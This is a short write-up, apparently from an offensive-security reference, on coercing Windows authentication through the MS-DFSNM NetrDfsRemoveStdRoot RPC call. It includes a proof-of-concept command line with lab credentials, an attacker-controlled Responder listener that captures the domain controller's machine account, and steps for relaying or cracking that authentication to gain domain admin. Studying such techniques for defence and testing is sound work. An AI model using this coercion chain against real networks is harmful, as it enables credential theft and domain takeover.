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MS-DFSNM - Remote call to NetrDfsRemoveStdRoot (opnum 13)

Summary

Description

In order to call a remote procedure to trigger an authentication from the remote machine to an arbitrary target, we first need to authenticate to the remote machine, usually on SMB. Then we need to connect to the remote SMB pipe \PIPE\netdfs and bind to the desired MS-DFSNM protocol (with uuid 4fc742e0-4a10-11cf-8273-00aa004ae673 and version 3.0) in order to perform remote procedure calls to functions in the MS-DFSNM protocol.

The IP 192.168.2.51 being my attacking machine where I listen with Responder, and 192.168.2.1 being the IP of my Windows Server. When starting this script, it will authenticate and connect to the remote pipe named \PIPE\netdfs. This pipe is connected to the protocol [MS-DFSNM]: Distributed File System (DFS): Namespace Management Protocol and allows to call RPC functions of this protocol. We will then call the remote NetrDfsRemoveStdRoot function on the remote Windows Server (192.168.2.1) with the following parameters:

NetrDfsRemoveStdRoot('192.168.2.51\x00', 'share\x00', 0)

We can try this with this proof of concept code (coerce_poc.py):

./coerce_poc.py -d "LAB.local" -u "user1" -p "Podalirius123!" 192.168.2.51 192.168.2.1

This will force the Windows Server (192.168.2.1) to authenticate to the SMB share \\192.168.2.51\share and therefore authenticate using its machine account (DC01$). After this RPC call, we get an authentication from the domain controller with its machine account directly on Responder:

After this step, we relay the authentication to other services in order to elevate our privileges, or try to downgrade it to NTLMv1 and crack it in order to get the NT hash of the domain controller's machine account. This kind of vulnerabilities allows to quickly get from user to domain administrator in unprotected domains!

Function technical detail

NET_API_STATUS NetrDfsRemoveStdRoot(
    [in, string] WCHAR* ServerName,
    [in, string] WCHAR* RootShare,
    [in] DWORD ApiFlags
);

  • ServerName: The pointer to a null-terminated Unicode string. This is the host name of the DFS root target to be removed.

  • RootShare: The pointer to a null-terminated Unicode DFS root target share name string. This is also the DFS namespace name. The share is not removed automatically when the method is successful; it MUST be removed explicitly, as needed.

  • ApiFlags: This parameter is reserved for future use and is ignored by the server.

References